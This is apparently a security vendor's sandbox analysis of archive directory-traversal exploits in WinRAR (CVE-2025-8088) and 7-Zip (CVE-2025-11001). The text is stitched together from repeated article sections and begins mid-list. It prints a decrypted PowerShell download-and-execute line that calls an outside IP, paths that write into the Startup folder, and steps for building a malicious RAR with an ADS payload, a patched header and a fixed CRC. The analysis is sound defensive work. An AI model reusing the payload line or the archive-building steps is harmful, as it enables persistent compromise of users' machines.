    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式(如 RAR)支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径,绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径,绕过常规路径校验逻辑,实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱,即可快速准确地检测未知样本恶意行径,操作步骤如下:

  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
图1 分析配置

上传样本,点击上传区域选择样本上传或将样本拖至上传区域即可上传样本,如图 2 所示,等待沙箱分析结束。

图2 上传样本

检测能力

样本一:7z目录穿越利用(CVE-2025-11001)

报告链接:天穹沙箱分析报告

漏洞原理:CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接(Symbolic Links)时存在安全缺陷。具体来说,当 7-Zip 解压包含符号链接的 ZIP 文件时,未能正确验证符号链接指向的目标路径,导致攻击者可以构造恶意的 ZIP 压缩包,其中包含指向系统关键目录(如系统目录、程序目录等)的符号链接。

经天穹沙箱分析,在 7z 解压过程中捕获到以下行为,如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息,如图 4 所示,智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息,并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二:winrar 目录穿越利用(CVE-2025-8088)

报告链接:天穹沙箱分析报告

漏洞原理:WinRAR 在解析压缩文件时存在路径校验逻辑缺陷,未对压缩包内嵌的 NTFS 备用数据流(ADS)及路径跳转符号(如 ..\)进行严格过滤。攻击者可利用此缺陷构造恶意压缩包,通过 ADS 特性隐藏恶意文件,并结合路径遍历技术突破解压目录限制,最终将文件写入系统敏感路径(如启动目录)。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径,如图 5 所示:

  1. 触发解压:用户双击恶意压缩包,系统调用 WinRAR.exe 启动解压流程;
  2. 路径篡改:WinRAR 在解析压缩包时,未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令(如 ..\Startup\payload.exe),将目标解压路径动态指向系统启动目录(C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup);
  3. 越权写入:WinRAR 绕过用户指定的解压目录(如 C:\Downloads),直接将恶意文件写入启动目录,完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件(SHA256)

1
2
ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告:天穹沙箱分析报告

样本二分析报告:天穹沙箱分析报告

一、简介

近期,WinRAR 曝出存在目录穿越漏洞(CVE-2025-8088),攻击者可构造恶意压缩包实现目录穿越,将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷(Payload)释放到 Windows 系统的“启动”文件夹下,当用户下次登录系统时,恶意代码将被自动执行,攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR,建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出,天穹团队积极扫描线上样本,检测到存在利用 CVE-2025-8088 的压缩包恶意样本,沙箱已于第一时间对该攻击样本进行分析,并确认天穹沙箱可以有效检测利用此漏洞的恶意行为,保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1:67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型:RAR Archive Data (v5)
  • 诱饵文件:【内部资料】研发部门员工薪资单.txt
  • 关联载荷:start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件,使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作:

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt
  • 在用户自启动目录释放 start.bat 文件,其内容为远程执行 PS1 文件。

当受害者重启电脑后,释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱,从压缩包检测部分可以看到,沙箱准确识别出漏洞信息诱饵文件恶意载荷路径,如图1所示。

图1 压缩包检测

通过动态分析可以看到,沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录,且进程的执行者为 winrar.exe,如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本,解密后其主体内容如下:

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见,沙箱捕获到样本执行 Powershell 命令,如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件,如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡,无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流(ADS)相结合。

  1. 载荷隐藏:攻击者首先将恶意载荷(如 1.bat )附加到一个无害的诱饵文件(如 decoy.txt )的 NTFS 备用数据流(ADS)中,这使得载荷在文件管理器中不可见,增加了隐蔽性。
  2. 构造基础包:攻击者使用官方的 WinRAR 命令行工具,将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称,需要注意的是,WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径,所以此处会先用占位符填充,如 X,但需要保证路径长度和修改后的路径长度一致,这样便于后续填充,如图5所示。
图5 原始RAR文件
  1. 路径篡改:这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件,在文件头(File Header)中搜索记录 ADS 流名称的位置,并将其替换为精心构造的路径遍历字符串,例如:..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat
  2. 校验和修复:直接修改文件头会破坏文件 CRC32 校验和,导致 WinRAR 报错。为了使恶意压缩包能够被正常解压,攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件,如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现,该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越,当用户在 DownloadsDocumentsDesktop 和其他类似目录解压时,可顺利将 bat 脚本释放到用户自启动目录,如图7所示。此攻击方式的优点是无需知晓用户名,且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件(SHA256)

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告:天穹沙箱分析报告

压缩包文件分析报告:天穹沙箱分析报告

一、概述

在 Windows 系统中,压缩包(如 RAR、ZIP、7z 等)作为常见的文件分发载体,因其便捷性和通用性被广泛使用。然而,攻击者常利用压缩软件的目录穿越漏洞(如 CVE-2025-8088),通过构造恶意压缩包将恶意载荷写入系统关键路径(如启动项、系统目录等),实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大,且传统静态检测难以有效识别。

为应对这一威胁,天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为,实时捕获文件写入路径,精准识别包含 ..\、绝对路径、UNC 路径等高危操作,有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类:

  1. 路径遍历(Path Traversal)压缩包内构造包含 ..\..\..\ 的文件路径,诱导解压程序将文件写入非预期目录。例如:1
    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式(如 RAR)支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径,绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径,绕过常规路径校验逻辑,实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱,即可快速准确地检测未知样本恶意行径,操作步骤如下:

  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
图1 分析配置

上传样本,点击上传区域选择样本上传或将样本拖至上传区域即可上传样本,如图 2 所示,等待沙箱分析结束。

图2 上传样本

检测能力

样本一:7z目录穿越利用(CVE-2025-11001)

报告链接:天穹沙箱分析报告

漏洞原理:CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接(Symbolic Links)时存在安全缺陷。具体来说,当 7-Zip 解压包含符号链接的 ZIP 文件时,未能正确验证符号链接指向的目标路径,导致攻击者可以构造恶意的 ZIP 压缩包,其中包含指向系统关键目录(如系统目录、程序目录等)的符号链接。

经天穹沙箱分析,在 7z 解压过程中捕获到以下行为,如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息,如图 4 所示,智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息,并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二:winrar 目录穿越利用(CVE-2025-8088)

报告链接:天穹沙箱分析报告

漏洞原理:WinRAR 在解析压缩文件时存在路径校验逻辑缺陷,未对压缩包内嵌的 NTFS 备用数据流(ADS)及路径跳转符号(如 ..\)进行严格过滤。攻击者可利用此缺陷构造恶意压缩包,通过 ADS 特性隐藏恶意文件,并结合路径遍历技术突破解压目录限制,最终将文件写入系统敏感路径(如启动目录)。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径,如图 5 所示:

  1. 触发解压:用户双击恶意压缩包,系统调用 WinRAR.exe 启动解压流程;
  2. 路径篡改:WinRAR 在解析压缩包时,未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令(如 ..\Startup\payload.exe),将目标解压路径动态指向系统启动目录(C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup);
  3. 越权写入:WinRAR 绕过用户指定的解压目录(如 C:\Downloads),直接将恶意文件写入启动目录,完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件(SHA256)

1
2
ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告:天穹沙箱分析报告

样本二分析报告:天穹沙箱分析报告